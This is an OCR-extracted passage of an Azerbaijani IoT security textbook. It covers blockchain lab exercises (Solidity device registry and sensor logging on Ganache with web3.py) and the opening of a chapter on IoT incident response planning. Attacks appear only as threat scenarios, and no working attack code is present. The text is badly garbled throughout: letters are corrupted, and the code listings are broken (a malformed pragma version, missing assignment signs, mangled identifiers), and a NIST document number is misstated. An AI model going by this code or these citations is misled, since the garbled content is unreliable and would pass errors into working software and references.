e event signature hash = w3.keccak (text=event sig) .hex()

e logs = w3.eth.get logs({

o "fromBlock": O,
o "toBlock": "latest",
. "address": contract_address

e 1)
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¢ print(f"Toplam log sayi: {len(logs)}")
e for log in logs:

o if log['topics'][0] .hex() == event signature_hash:

o sender = "O0x" + log|['topics'][1l].hex()[-40:]

o decoded = decode(["string", "string", "uint256"],
log['data'])

. sensor_type, sensor value, ts = decoded

o dt = datetime.utcfromtimestamp (ts) .strftime ('%Y-%m-

$d $H:$M:%S')

. print ("Gondsrildi:")

. print (f"Sensor tipi: {sensor_typel}")
o print (f"Dsysri: {sensor_valuel}")

o print (f"Zaman: {dt}")

o print (£f"Gondsrsn: {sender}")

D print("-" * 60)

=1

Sakil 7.9. Yazilmis sensor malumatlarinin loglarinin oxunmasi
v" Natica

Bu lab iizra [oT sensorlarindan golon molumatlarin blockchain tizorinds slave
edilmosi, doyisdirilmoz qeydiyyati, soffaf loglanmasi praktiki sokildo test edildi.
Ganache lokal blockchain kimi istifads edildi vo web3 vasitosilo molumatlar daxil
edilorok sonradan oxundu.

v" Tapsiriqlar

e log sensor.py skriptini 3 forqli sensor novii ilo test et: temperature, humidity,
pressure.

o Contract-a sensorLocation (string) parametrini slava et vo ona uygun event diizolt.

o Log molumatlarmi . csv fayla yazan read logs csv.py adli skript hazirla.

e matplotlib voyaplotly ilo sensor dayarlorinin grafikini ¢ok (timestamp vs data).
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e read logs.py faylinda alian naticolori JSON formatinda 1ogs . json fayla yaz.

e Ganache-do hor 1logData () lglin istifado olunan gasUsed doyerini 6l¢ vo ¢ixisda
gostar.

e Remix-do DataStored eventini sil vo read logs.py ilo oxumaga ¢alis — no bas
verir?

e Contract-1 doyis ki, yalniz temperature, humidity, 1ight sensor ndvlorini gobul
etsin — oks halda revert () etsin.

e Python try-except blokuilo log sensor.py-dos sohvlori tut vo gixigsda gostor.

e Ogor timestamp cari vaxtdan 300 saniyo kohnadirso, onu ¢ixisda “kohno malumat” kimi

geyd et.

e Yeni bir kontrakt deploy et, avvelki read logs.py onun ii¢iin isloyirmi? Ogar yoxsa,
niya?

e read logs.py kodunu Flask API-yo gevir — GET /logs ¢agirist JSON natico
qaytarsin.

e Web frontend qur (HTML + JS), Web3.js ilo contract-a qosul, input-dan data al vo
logData () cagir.

e MetaMask ilo manual olaraq 1ogData () funksiyasini ¢cagir vo amasliyyati imzala.

e log sensor.py faylinda eyni data ilo tokrar gondoris et — blockchain tokrara no
reaksiya verir?

7.12.2. IoT Cihazlarinin Blockchain Uzorinde Morkazsiz Qeydiyyati
(Device Authentication)

Mogqsad:

Bu praktiki isin mogsadi IoT cihazlarinin identifikasiyasini blockchain
lizorindo soffaf, doyisdirilmoz vo morkozsiz sokildo geydiyyata almaq vo sonradan
bu geydiyyat osasinda cihazin identifikasiyasin1i yoxlamaqdan ibarotdir. Smart
contract vasitosilo cihaz public address-i vo metadata daxil edilorok blockchain-ya
yazilir.

Bu yanasma, 10T sistemlorindo cihaz spoofing, saxta node olavolori vo geyri-
autoritet monbolors garsi effektiv qorunma tomin edir.

Talablor:

« Ganache lokal blockchain iizro ¢alisan Ethereum node

o Remix (https://remix.ethereum.org) tizorinds Solidity contract yazmaq
imkani

o Python 3.8+

« web3.py, eth-account, json kitabxanalar1
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v

Addim 1 — Smart Contract Yaradilmasi (Remix)

[Ik addimda Remix IDE-do Smart Contract yaratmaq iiciin Solidity fayl

yaradilir (DeviceRegistry.sol).

)
2)

3)
4)

v

// SPDX-License-Identifier: MIT
pragma solidity 70.8.0;

contract DeviceRegistry ({
event DeviceRegistered(address indexed device, string
metadata) ;

mapping (address => string) public devicelnfo;

function registerDevice (address device, string memory
metadata) public {
require (bytes (deviceInfo[device]) .length == 0,
"Already registered") ;
devicelInfo[device] = metadata;
emit DeviceRegistered(device, metadata) ;

}

function isRegistered(address device) public view
returns (bool) {
return bytes (deviceInfo[device]) .length > 0;
}

function getMetadata (address device) public view
returns (string memory) {
return deviceInfo[device];

}

Remix iizorinds "Solidity Compiler" ilo compile edilir (versiya 0.8.x)

"Deploy & Run Transactions" bolmasinds "Web3 Provider" rejimi secilib Ganache
lizorino deploy edilir

Deploy edilmis contractin iinvani kopyalanir

ABI Remix-don JSON kimi ¢ixarilib device abi.3json faylina yazilir

Addim 2 — Yeni Sensor Malumatlarimi Blockchain-a Yazmaq

Bu skript yeni bir cihaz address-i yaradaraq onu blockchain-ya geydiyyatdan

kecirir (register_device.py).

from web3 import Web3
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e from eth_account import Account
e import json

e w3 = Web3 (Web3.HTTPProvider ("http://127.0.0.1:7545"))
e w3.eth.default account = w3.eth.accounts[0]

e with open("device_abi.json") as f:

. abi = json.load(f)

[ ]

e contract_address = "OxSENIN CONTRACT ADRESIN"

e contract = w3.eth. contract(address contract _address,
abi=abi)

[ ]

e device = Account.create()

¢ print("Yeni cihaz address:", device.address)

[ ]

¢ metadata = "JetsonNano-SensorNode"

¢ tx = contract.functions.registerDevice (device.address,
metadata) . transact()
e receipt = w3.eth.wait for transaction_receipt (tx)

e print("TX status:", receipt.status)

v" Addim 3 — Loglar1 Blockchain-don Oxumagq (read_logs.py)

Bu skript istonilon cihaz address-inin geydiyyatda olub-olmadigini yoxlayir

(verify _device.py).

¢ from web3 import Web3
¢ import json

e w3 = Web3 (Web3.HTTPProvider ("http://127.0.0.1:7545"))

e with open("device abi.json") as f:

D abi = json.load(f)

[ ]

e contract_address = "OxSENIN CONTRACT_ ADRESIN"

e contract = w3.eth. contract(address contract _address,
abi=abi)

e device_address = input("Cihaz addressi daxil et: ") .strip()
e if not w3.is_address(device_address):
o print (" Address formati dizgin deyil.")

o exit()

e is reg =
contract. functions.isRegistered(device_address) .call()
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¢ metadata =
contract. functions.getMetadata (device_ address) .call() if
is_reg else "Yoxdur"

¢ print("Qeydiyyat:", " Var" if is_reg else " ¥ Tapilmadi")
¢ print("Metadata:", metadata)

Sakil 7.10. Sensorun alava edilmasi va yoxlanmasi

v’ Notico

Bu laboratoriya cor¢ivosindo real IoT cihaz address-lorinin Ethereum blockchain-ya
geydiyyati, metadata saxlanmasi vo bu qeydiyyatin yoxlanmasi sifirdan addim-addim quruldu. Bu
yanagsma real sistemlordo cihaz spoofing riskino qarsi effektiv alternativdir. Qeydiyyat
transaksiyalar1 gas istifadosi baximindan monitor edilo bildi vo metadata {izorindo slavolor test
olundu.

v' Tapsiriqlar

» Ug cihaz address-i yaradaraq metadata daxil etmoklo qeydiyyatdan kegirin.

= Contract-a eyni address-in ikinci dofo geydini bloklayan mantiq slave edin.

* metadata sahosina cihaz tipi vo mokan ("temp/room1") daxil edin.

= 10 cihaz address-i . Json faylda saxlayin, loop vasitasilo qeydiyyatdan kecirin.

* Ganache iizarindo transaksiyalarin qaz istifadesini 6l¢iin vo ortalama xorci hesablayn.

* verify device.py faylinda address-i olmayan test verin, ¢ix1s mesaji analiz edin.

= Contract-a updateMetadata (address, string) funksiyasi olavo edin vo test
edin.

* Flask APl yaradaraq GET /devices/<address> endpoint-i ilo metadata qaytarin.

= HTML frontend quraraq cihaz geydiyyat paneli yaradin, Web3 js ilo olaqgo verin.

= Qeydiyyatdan ke¢mis cihazlarin siyahisin1 JSON kimi backend-do saxlayin va istondiyiniz
zaman g¢ixarin.
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8. ToT-do Insidentlora Cavab

Qeyd: Bu fosil "AzInTelecom” MMC-d> Komplayns va Risklorin Idara Olunmast iizra miitoxassis
Qurbanov Oli Murad oglu torafindon nazardan kegirilmis vo mazmun baxumindan uygun hesab
edilmisdir.

8.1. Giris

Texnologiya inkisaf etdikco, "agilli" cihazlar hayatimizin hor sahasine daxil
olur. Agilli avtomobillar, tlirok stimulyatorlar1 (pacemaker), evlordoki sensorlar vo
digor interneto bagl qurgular (IoT — "Internet of Things") artiq genis istifado olunur.
Ancaq bu cihazlar no qodor faydali olsa da, onlarin idars olunmasinda vo
tohliikasizliyinds ciddi problemlor yarana bilor.

Masolon, tasavviir edin ki, bir sirkot siirticiilorin tohliikosizliyini artirmaq vo
yanacaqdan gonaot etmok ticlin agilli avtomobillor alir. Bir giin bu masinlardan biri
gofildon idaraetmoya cavab vermir vo qozaya sobab olur. Siirticli no qodor ¢aligsa da,
avtomobilin omr gobul etmoadiyi molum olur. Bu hadiso siini intellektlo idars olunan
sistemlordo yaranan ciddi bir problemls bagli ola bilar.

Basqa bir misal — {royindo xiisusi cithaz (pacemaker) olan bir insan
gozlonilmoadon diinyasini doyisir. Hokimlor yoxlayanda goriirlor ki, cihaz diizgiin
isloyirdi. Ancaq agor bu cihazin program tominatinda problem olubsa, bu, insanin
hayatina tosir etmis ola bilor.

Bu tip hadisolor IoT insidentloridir — yoni interneto bagl cihazlarda bag veron
gozlonilmoz problemlor. Bu ciir problemlorin garsisin1 almaq vo onlara diizgiin
cavab vermok ii¢lin miiasir miiossisolor xilisusi insident idaroetmo planlarina malik
olmalidir.

o Insidentlars neca hazir olmaq olar?

[oT sistemlorinin tohliikosizliyi ilo mosgul olan miitoxossislor {i¢ osas
morholodo horokat etmalidirlor:

1. Problemin askarlanmasi — Yoni cihazin normal islomadiyini vaxtinda
anlamag.

2. Miidaxils va hall — Problem yaranan kimi sistemi diizoltmok va tohliikasizliyi
tomin etmok.

3. Galacokda bu kimi hadisalorin qarsisim1 almaq — Problemi analiz edib,
tokrar olunmamasi tigiin todbirlor gérmok.
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Masolon, ogor bir sirkot agilli avtomobillordon istifado edirso, onlarin
tohliikasizliyini miitomadi yoxlamali, programlarini yenilomoli vo miimkiin
hiicumlarin qarsisini almagq ti¢iin slave miidafio todbirlori gérmalidir.

Eyni sey agill tibbi cihazlar {igiin do kegorlidir. Xastoxanalar va tibbi cihaz
istehsalcilar1 bu avadanliglarin daim diizgiin isladiyine omin olmalidirlar. Oks halda,
gbzlonilmaz insidentlor insan hayatina ciddi tohliiks yarada bilar.

[oT cihazlart hoyatimizi asanlasdirsa da, onlarin tohliikasizliyi hor zaman
digget morkozinds olmalidir. Ciinki bu cihazlarda bas veran kigik bir insident insan
hoyatina vo ya maliyya itkilorino sobab ola bilor. Ona goro do istor bdyiik
miiassisalar, istorsa do adi istifadacilor agilli cihazlarin tohliikasiz isladiyine omin
olmalidirlar.

8.2. IToT-do Tohliikasizlik Tohdidlori vo Risklor

8.2.1. Tahliikasizlik vo tahliikasizliys qarsi tohdidlor

Idealda, tohliikko modellosdirmo prosesinin ovvelindo sui-istifado hallar
mioyyon edilmolidir. Daha sonra hor bir sui-istifado hali iigiin konkret nlimunolor
yaradila bilor. Bu niimunalor kifayst qodor asagi soviyyado olmalidir ki, onlar
monitoring texnologiyalarinda totbiq edilo bilon imza dostolorino boliino bilsin
(masalon, IDS/IPS, SIEM va s.). Bu sistemlor hom lokal sobokodo, hom do bulud
mihitindo istifado edilo bilor.

Bu niimunslora cihaz niimunolori, soboko niimunslori, xidmatin performansi
vo digor miimkiin sui-istifado, nasazliq vo ya birbasa tohliikosizlik pozuntusu
olamatlori daxil ola bilor.

Bir ¢ox IoT istifadesindo SIEM sistemlori telemetriya ilo giiclondirilo bilar.
Telemetriya ilo giiclondirilmis SIEM-lor adlandirdigimiz bu sistemlor, fiziki olaraq
[oT cihazlar1 ilo olageli olduglar1 iiclin daha ¢ox izlonilo bilon xiisusiyyatlora
malikdirlor.

Masolon, temperatur, giinlin vaxti, digor IoT cihazlarinin hadisalorlo olagosi
vo digor molumatlar tohlil edilorok tohliikasizlik, askarlama, mohdudlasdirma vo
insident arasdirmalari tigiin istifado edilo bilor.

Agilli nagliyyat vasitolori ilo bagl bir insidentdo, cinayatkar narazi qalmis bir
is¢i ola bilar. O, uzaqdan miidaxils edorok avtomobilin ayloc sistemina hiicum etmis
ola bilor (masolon, ECU signallarini soboka ilo bagli CAN sinins daxil edorok). Ogor
bu ciir hiicumlar lazimi tohliikasizlik arasdirmalari ilo askarlanmazsa, homin soxsi
miloyyan etmok ¢ox ¢atin, hotta miimkiinsiiz ola bilor.

Daha qorxulu olan odur ki, bir ¢ox halda, sigorta miifattislori vo tohliikasizlik
arasdirmalar1 aparan miitoxassislor bu ciir hiicumlarin miimkiinliiylinii nozora
almaya bilor!
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8.2.2. IoT tohliikasizlik tahdidlari va insident idaraetmasi
o Pacemaker hadisasi:

Tibbi cihazlarla bagl basqa bir tohliike pacemaker (iirok stimulyatoru) kimi
cthazlara edilon hiicumlardir. Masolon, cinaystkar kegmis is¢ilordon biri internetdon
Ooyrondiyi bir texnikadan istifado edorok pacemaker cihazina zororli proqram
(ransomware) ylikloyos vo xostoni pul 6domays macbur eds bilor.

Bu tip tibbi cihazlar xilisusi mikroprosessor vo interfeys sistemino malik
olduguna gora, ogor bu ciir hiicum ehtimali oavvalcadon nozore alinmazsa,
genigmiqyasli aragsdirma aparilmir. Daha da tohliikslisi budur ki, ransomware (santaj
maqsadli zararli proqram) 6zilinii avtomatik silmak {i¢iin programlagdirila bilar, bu
da hiicumla bagli hor hans1 bir siibutun mahv olunmasina sabab olar.

o IoT insidentlorinin unikal xiisusiyyatlori

Bu hadisolor gostorir ki, IoT insident idaroetmosi ononovi IT
tohliikasizliyindon bir ne¢o miihiim forqle ayrilir:

« Fiziki cihazlarin sobokaya qosulmasi vo onlarin yerlori — Har bir cihazin sahibi
vo idaroedoni molum olmalidir. [oT insident idaroetmosi tokco
kibertohliikasizlik deyil, hom do insan hoyati tigiin tohliikesizlik masalosidir
(xtisusilo tibbi, nogliyyat vo sonaye saholorindo).

o Bulud osasli idaroetmo — Bir ¢ox [oT cihazi bulud (cloud) sistemlori tizorindon
idara olunur. Bu iso o demokdir ki, bozi insidentlor miiossisonin tam
nozaratindo olmaya bilor.

o Hiicumgularin foaliyyotlorini gizlotmo bacarigr — Kibertohliikosizlikdo osas
problemlordon biri do odur ki, hiicumcular 6z izlorini gizlotmok {i¢iin
hiicumlarini adi giindslik hadisslorin iginds "itirmis" olurlar. Masalon, bir IoT
hiicumu elo vaxt bas vera bilor ki, tohliikasizlik miitoxassislori homin anda
basqa bir problemlo mosgul olsunlar. Hiicumlar bozon ¢ox sado olur —
mosalon, bir avtomobilin goza térotmasino vo ya isiqforlarin dayanmasina
sobab olmag.

o Bir-biri ilo olagesi olmayan IoT cihazlarinin risk dasimasi1 — Eyni sobokoyo
gosulmus miixtalif IoT cihazlar1 tohliikosizlik risklorini artirir. Masoalon, bir
agill televizor vo ya agilli moisgot cihazi basqa, daha vacib bir sistemin
tohliikosizliyino tosir edo bilor.

o Niya IoT tahliikasizlik idaraciliyi lazimdir?

Yuxarida verilon misallar gostorir ki, IoT insidentlorinin idaro olunmasi vo
arasdirilmasi miitloq lazimdir.
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Hor bir IoT insidenti detalli arasdirilmalidir ki, miimkiin genigmiqyasl
hiicumlarin garsis1 alinsin.

[oT cihazlarinda nasazliq vo ya kiberhiicum bas verarso, bunun sababi
aydinlasdirilmali vo masuliyyat dasiyan torof miioyyan edilmalidir.

Xiisusila tibbi cihazlar, sonaye idaraetma sistemlori vo agilli maisoat cihazlari
bu tohliikslors gars1 daha digqotlo qorunmalidir.

8.2.3. IoT tahliikasizliyi iuciin tadbirlor

Bu hisso, toskilatlarin IoT tohliikasizliyini giiclondirmak, insidentlora qarsi

todbir gormok vo tohliikosizlik sistemini inkisaf etdirmok {i¢lin nolor etmoli
olduglarini izah edir. Burada asas istiqgamotlor bunlardir:

[oT insident idarociliyinin vo tohliikesizlik mexanizmlorinin miioyyon
edilmasi — 10T sistemlarinds tohliikasizliyin asas prinsiplori izah olunur.

[oT insidentlorinin planlasdirilmasi vo arasdirilmasi1 — Miixtoalif insidentlor
liclin hadiso kateqoriyalari vo tocili miidaxilo prosedurlari hazirlanmalidir.
Forensik (tohliikasizlik ekspertizasi) metodlarinin totbiqi — [oT cihazlarinda
bas veron hiicum vo nasazliglarin arasdirilmasi vo cihaz proqramlarinin
yoxlanilmasi.

IoT sistemlorinin tohliikesiz istifadasi li¢lin todbirlor — Toskilatlar bulud
xidmoti provayderlori vo digor I[oT sobokolori ilo omokdasliq edorak
tohliikasizlik soviyyesini yiiksaltmolidirlor.

IoT cihazlarinin siirotlo yayilmasi ilo bu sahodo tohliikasizlik masalalori do

getdikco daha vacib vo miirokkob hala golir. Ona goro do, hom fordi istifadogilor,
hom do miiossisalor bu tohliikolori nozors alaraq 6z IoT sistemlorini qorumaga xiisusi
diqqgot yetirmolidirlor.

8.3. IoT insident cavabinin planlasdirilmasi va icrasi

IoT insident cavabi vo idaraetmosi dord morholoyo boliine bilor:

Planlasdirma

Askar etma va analiz
Mbshdudlasdirma, 1ogv etma va barpa
Insidentdan sonraki faaliyyatlor
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Insident Cavabmm
Planlasdinlmas:

IRT (insident Cavab Komandaz:)
tarkibinin miiayyan adilmasi
Blaga plam

Talim v3 maza plam
Koordinaziya plam

Insidentdan Sonraka

Faalivvatlar ——-, Askar etma va analiz

Hadizanin azaz sabablarinin analizi [
Saxsi malumatlarin va maxfilik
tadbirlarinin yenilsnmasi paylazlmasi

Geri baxs va givmatlandirma 24/7 SOC (Tahliikasizlik Bmaliyyat
Malumat paylagin Mearkazi) faalivyati va askar etma
insident cavab plamnin Bulud monitoringi

venilanmasi RF analiz

\Incidcm?;‘} Ne
Yes -
S~

Tshliiks malumatlarinin

Mahdudlasdirma, lagv
etma va barpa

Karantin

Siibutlarin alds edilmasi va
gorunmasi

Inzidentin mahdudla sdinlmasi
inzidentin logvi

Davaml monitoring

Tam faaliyyets gayidiz

Sokil 8.1. Insident proseslari va onlarin bir-birilari il> slaqasi
8.3.1. Insident cavabimin planlasdirilmasi

Insident cavabi iiciin planlasdirma (incident response preparation)
toskilatlarin gofil tohliiko ilo garsilasdigda panikaya diismosinin qarsisini almaq tigiin
hoyata kecirilon foaliyyotlordon ibarotdir.

Mosalon, agar sirketiniz kiitlovi Xidmatin Imtinas1 (DDoS) hiicumuna moruz
qalsa vo serverloriniz bu yiiko tab gotiro bilmaso, siz no edocoyinizi bilirsinizmi?
Bulud provayderiniz bu ciir insidentlori avtomatik idare edirmi, yoxsa siz voziyyatin
Ohdosindon golmok tigiin olava todbirlor gérmalisiniz?

Ogor veb-serverlorinizin hiicuma moaruz qaldigini askar etsoniz, onlar1 sadaco
baglayib yeni ehtiyat versiyalarla (golden images) yeniloyirsinizmi? Hiicum
olunmus versiyalarla no edirsiniz? Onlart kimo togdim edirsiniz vo neca?
Molumatlarin geydiyyati, qaydalar, hans1 soxslorin no zaman istirak edocoyi vo
linsiyyot strategiyast kimi suallar insident cavab planinda otrafli gokildo
cavablandirilmalidir.

NIST SP 800-62r2 sonadinds Insident Cavab Plani (IRP) ii¢iin niimuns vo bu
planin mozmunu izah edilir. Bu plan IoT sistemlorinin xiisusiyyatlorino uygun
sokildo tonzimlona bilor. Masolon, IoT cihazlarinin molumatlarinin  (sensor
molumatlari, mesaj axislari, vo vaxt gostoricilori) toplanmasi bu plana daxil edilo
bilor. Bu planin olmasi hiicum zamani bas veron insidentin néviinii vo tohliiko
doracasini toyin etmok {i¢lin mithiim analiz islorino fokuslanmaga imkan verir.
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o IoT sistemlarinin kateqoriyalasdirilmasi

Dovlat qurumlar: IoT sistemlorinin kateqoriyalasdirilmasina xiisusi 6nom
verir. Bu, hansi sistemlorin hoyati chomiyyot dasidigini miisyyon etmok vo
tohliikasizlik pozuntularinin tasirini tayin etmak {i¢iin vacibdir.

Sirkatlorin IoT sistemlorini tosnif etmosi, tohliikosizlik insidentlorine verilon
cavablarin homin sistemlorin biznes vo missiya tasirind asason tonzimlonmasineg
imkan yaradir.

Bu kateqoriyalasdirma:
« Insidentin biznesa vo missiyaya tosirini nozoro almaga,
o Tohliikasizlik va insan saglamligi risklorini qiymatlondirmays,
o Real vaxtda insidentlorin qarsisini almaq tclin lazimi tadbirlori gormoyao
komak edir.

NIST FIPS 199 sonodi molumat sistemlorinin kateqoriyalasdirilmasi ii¢iin
faydali metodlar togdim edir. Biz bu ¢orgivoni gotiirorok [oT sistemlorinin tosnifati
liclin uygunlagdiraraq istifado edo bilorik.

Asagidaki cadval 8.1 FIPS 199 sonadindon gotiiriilmiisdiir vo moxfiliyin
(confidentiality), biitovliyiin  (integrity) vo mdvcudlugun (availability)
tohliikasizliys tosirini gostorir.

Cadval 8. 1. Maxfiliyin, biitovliiyiin va movcudlugun tohliikasizliya tasiri

Tohliikasizlik | Asagi Tosir (Low Orta Tasir Yiiksok Tasir
Mogsadi Impact) (Moderate (High Impact)
Impact)

Moxfilik Molumatlarin Molumatlarin Molumatlarin

(Confidentiality) | icazosiz yayilmasi | icazosiz yayilmasi | icazasiz yayilmasi
mahdud monfi ciddi monfi tosiro | ¢ox agir va ya
tosira malik ola malik ola bilor falakatli tosiro
bilor (toskilati malik ola bilor
omoliyyatlar,
aktivlor vo fordlor
ti¢iin)

Biitovliik Molumatlarin Molumatlarin Molumatlarin

(Integrity) icazosiz icazosiz icazosiz
doyisdirilmosi vo ya | doyisdirilmasi vo | doyisdirilmasi vo
mohv edilmasi ya mohv edilmosi | ya mohv edilmasi
mahdud manfi ciddi monfi tosiro | ¢ox agir va ya
tosiro malik ola malik ola bilor folakatli tosira
bilor malik ola bilor

Movcudluq Molumatlara vo ya | Molumatlara vo Molumatlara vo ya

(Availability) sistemlors girisin ya sistemloro sistemlora girisin
pozulmast mahdud | girisin pozulmasi | pozulmasi ¢ox
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monfi tosiro malik | ciddi manfi tasira | agir vo ya
ola bilar malik ola bilor folakatli tosiro
malik ola bilor

o IoT sistemlarinds tohliikasizlik risklari vo cavab strategiyalari

[oT sistemlorindo bu corgivadon istifado etmoyo davam edo bilorik, lakin
burada zamanin tasirini va cavab tadbirlarinin tacili olmasinin vacibliyini ds nazaras
almaq lazimdir. Masalan, bir avtomobil parkina kiberhiicum cohdi olarsa, bazi cavab
tadbirlori ¢ox sort goriing bilor. Ancaq agor hiicumun magsadi avtomobili gazaya
ugratmaqdirsa, tocili todbirlor miitloq lazimdir. Bazi hallarda Insident Cavab Planm
avtomobil istehsalcisinin  biitiin  olagali  noqliyyat vasitolorinin sistemlarini
miivoqgoti deaktiv etmosini vo ya nozarat bloklarinin tohliikasizliyini yoxlamasini
tolob edo bilor. Osas sual budur: 10T sistemlorino garst hiicum askarlanarsa, bu
hiicum is¢ilor, miistorilor vo ya digor soxslor ii¢iin tocili tohliiko yarada bilormi?

Ogor bir togkilatin tohliikasizlik rohbarliyi [oT sistemlorinin sindirilmasina
dair molumat alir, lakin sistemi islok voziyyotdo saxlayirsa vo noticods xosarat vo ya
olim hadisasi bas verarsa, bu halda toskilat hiiquqi mosuliyyat dasiya bilor.

o IoT insident cavab prosedurlan

Avropa Soboko vo Informasiya Tohliikosizliyi Agentliyi (ENISA) son
dovrlordo ortaya ¢ixan texnologiyalarda IoT tohliiko tendensiyalarini arasdirib. Bu
hesabat [oT sistemloring tosir edon bir neco tohliikonin artdigini geyd edir.

Bu tohliikolors asagidakilar daxildir:

o Zororli kodlar: qurdlar (worms), troyanlar (Trojans)

o Veb osaslt hiicumlar

« Veb totbiglorine hiicumlar vo kod inyeksiyasi hiicumlari

o Xidmotin dayandirilmasi hiicumlar1 (Denial of Service - DoS)
« Fisinq (Phishing) hiicumlar1

o Istismar dostlori (Exploit kits)

« Fiziki zoror, ogurluq vo ya molumat itkisi

o Daxili tohdidlor (Isci vo ya daxili soxslor torafindon hiicumlar)
o Mbolumat sizmasi

o Soxsiyyeat ogurlugu vo saxtakarliq

o IoT insident cavab prosedurlari: Toskilatlarin hazirhg:

Toskilatlar [oT tohliikalorine garst effektiv cavab vermoyo hazir olmalidirlar.
Bunun {i¢iin insident cavab plan1 hazirlanmalidir ki, burada hor bir vozifonin icra
edocayi prosedurlar doqiq sokildo miioyyan olunsun.

Bu prosedurlar, tohliikosizlik pozuntusunun biznes vo maraqli torofloro
tosirindon asilt olaraq bir godor forqlono bilor. ©n azi, prosedurlar insidentlorin
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askarlandigi zaman daha yiiksok soviyyali vo ya ixtisaslagsmig miitoxassislora
eskalasiya edilmali oldugunu gostormolidir.
Insident cavab plani bu 9sas moqamlari ohata etmolidir:
o Mbolumat sizmasi siibhasi oldugda maraqli toraflors no vaxt vo neco malumat
vermok lazimdir?
o Onlara doqiq no demak lazimdir?
. Insident zamani hans1 soxslorlo iinsiyyat qurmaq lazimdir?
o Hadisa ilo bagli hans1 addimlar atilmalidir?
« Siibutlarin gorunmasi tigiin hans1 prosedurlar icra edilmolidir?
Ogor Uclincii torof bulud xidmati provayderi prosess calb olunubsa, onlarin
xidmot planinda (SLA — Service Level Agreement) bu ciir insidentlor zamani
siibutlarin gorunmasini neca dostokloyacoklori aydin sokilde izah olunmalidir.

o Bulud xidmat provayderlarinin (CSP) rolu

Ogor toskilatiniz  IoT  xidmeotlorini  idaro  etmok  {iclin  bulud
texnologiyalarindan istifado edirso, bulud SLA-larimin  (Xidmot Saviyyo
Razilagmalari) insident cavab planinda shomiyyastli rolu var.

Ancaq biitiin bulud provayderlori (CSP) insident cavabi ii¢iin kifayot qodor
dostok tomin etmir. Buna goro do, tohliikesizlik todbirlori goriilorkon CSP-larin
tomin etdiyi xidmatlor diqgatle nozordon kegirilmalidir.

Bulud Tohliikosizliyi Alyansi (Cloud Security Alliance - CSA) "Cloud
Computing V3.0 Tohliikosizlik Tolimat1" sonadinds (9.3.1-ci bélmo) bulud SLA-
larinda asagidaki mogamlarin ohato olunmasini tévsiyo edir:

o Olago noqtolori, iinsiyyot kanallar1 vo insident cavab komandalarinin
olgatanligi

o Insidentlorin torifi vo xobordarliq kriteriyalar1 (provayderdon miistoriya va
xarici torofloro)

o CSP-nin insidentlorin askar edilmosino verdiyi dostok (mosoalon, hadiso

molumatlarinin toplanmasi, siibholi hadisolor barado bildirislor vo s.)

« Insidentlor zamani rollarin vo vozifalorin aydin sokilde miioyyonlosdirilmasi
o CSP torofindon insidentlorin arasdirilmasi tgiin verilon dostok (mosalon,
insident molumatlarinin toplanmasi, ekspertiza vo analiz iglorino gatilmaq vo

s.)

Bulud xidmot provayderlori vo toskilatlar arasindaki insident cavab planlari
asagidaki olavo aspektlori do ohato etmalidir:

o Daimi insident cavab testlorinin kegirilmasi vo bu testlorin noticolorinin
paylasilmasi
o Post-mortem foaliyyotlori (mosolon, osas sobob analizi, insident cavab

hesabati, oldo edilon dorslorin tohliikasizlik idaragiliyina inteqrasiyasi vo s.)

. Insident cavabi sahosindo masuliyyatlorin aydin sokildo miioyyan edilmasi

(provayder vo miistori arasindaki slagonin SLA ¢or¢ivasinds tonzimlonmasi)
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o loT insident cavab komandasinin torkibi

Diizgiin texniki resurslar1 tapmaq vo insident cavab komandasini togkil etmok
homiso ¢otinlik yaradir. Carnegie Mellon Universitetinin CERT togkilat1 bildirir ki,
insident cavab komandalarinin formalasdirilmasi bir sira faktorlarla baglidir:

o Missiya vo magsadler

e Modvceud is¢i heyatinin tocriibasi

o Prognozlasdirilan insident yiikii

o Toskilatin 6lgiisii vo istifado olunan texnologiyalar
o Maliyyolosma va resurs tominati

Adaton, bir insident meneceri toyin edilir vo o, komandada miixtalif tizvlori
bir araya gotirir. Komandanin torkibi, insidentin miqyasina vo lazim olan cavab
todbirlorine uygun olaraq formalasdirilir.

Komanda tizvlari asagidakilara hazir olmalidir:

. Insident cavabi sahasindo pesokar talim ke¢mis olmalidirlar

o Zoruri hallarda dorhal miidaxils etmayas hazir olmahidirlar

o Hom yerli insident cavab prosedurlarini, hom ds bulud provayderlorinin SLA-
larin1 bilmolidirlor

Effektiv planlasdirma insidentlors diizgiin miitoxassislorin yonlondirilmosing
imkan yaradir.

IoT insidentlorino cavab veron komandalar asagidaki bacariglara sahib
olmalidir:

o IoT texnologiyalarinin spesifik toloblorini basa diismok
. Insidentlorin yerlosma vo totbiq ssenariloring uygun analizini aparmagq
o Zoror ¢okmis IoT sistemlorinin biznes mogsadlorini dorindon anlamagq

Toskilatlar hor nov insident {igiin tocili alaqo ndqgtalorinin (POC — Point of
Contact) siyahisin1 hazirlamalidirlar ki, insident bas verdikdo dorhal lazimi gsoxslorlo
olago qurmaq miimkiin olsun.

o Insidentlor iiciin iinsiyyat planlamasi

Insidentloro cavab vermok ¢ox vaxt qarmaqarisiq va siiratli proses olur. Bu
sobobdon, detallar diggotdon qaga bilor. Togkilatlar 6ncodon hazirlanmis iinsiyyat
planina sahib olmalidirlar ki, maraqli toroflor vo torofdasglar bu proseso diizgiin
sokilda calb olunsunlar.

Unsiyyot plan1 asagidaki osas moqamlari ohato etmolidir:

. Insidentin hansi hallarda daha yiiksok soviyyoli texniki komandaya,
idaragilors va rohbarliyo otliriilocoyi

o Hansi molumatlarin, kim torafindon vo na vaxt paylasilmali oldugu

o Miistorilor, dévlot qurumlari, hiiqug-miihafizo orqanlar1 vo media ilo {insiyyot
qaydalar1

« Sosial media vo informasiya paylasim platformalarinda na doracods agiglama
vermoayin mimkiinliiyii (Twitter, Facebook va s. iizorindon elanlar)
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Daxili insident cavab perspektivindan, iinsiyyat plani togkilat daxilinde har bir
[oT sistemi {i¢iin asas olago noqtolorini (POC) vo alternativ variantlari ohato
etmalidir.

Eyni zamanda, CSP-lor (Bulud Xidmaot Provayderlori) vo digor torofdaslarla
paylasim edilon [oT molumatlar1 nazors alinmalidir. Masslon, ogar oT verilonlarini
analitik sirkotlorlo paylasan API-lor dastoklonirse, moalumat pozuntusu maoxfiliyi
gorunan molumatlarin tosadiifon bagga yerlors 6tiirtilmasina sobab ola bilar.

8.3.2. Askar etma vo analiz

SIEM (Tohliikesizlik Molumati vo Hadiso Idaroetmosi) sistemlori
kibertahliikasizlikda vacib bir rol oynayir. Bu sistemlor, miisahids edilon hadisalor
arasinda olago yaradaraq miimkiin insidentlori agkarlamaga komok edir.

[oT sistemlorinin monitoringi {li¢iin SIEM-larin konfiqurasiya edilmasi
